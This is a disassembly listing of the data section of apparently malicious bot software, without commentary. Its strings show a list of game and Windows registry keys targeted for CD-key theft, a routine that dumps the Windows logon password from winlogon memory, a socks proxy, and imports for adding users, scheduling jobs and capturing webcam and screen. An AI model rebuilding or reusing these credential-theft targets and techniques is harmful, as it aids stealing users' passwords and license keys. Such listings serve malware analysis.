		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 436EDCh,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 436EDCh,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 436EDCh,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 436EDCh,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 436EDCh,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 436EDCh,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 436EDCh,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 436EDCh,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 436EDCh,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 436EDCh,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 436EDCh,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		fsubr	qword ptr [esi+43h]
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 436EDCh,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 436EDCh,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 436EDCh,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 436EDCh,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 436EDCh,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 436EDCh,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 436EDCh,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 436EDCh,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 436EDCh,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset aMov@		; "m▌v@"
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
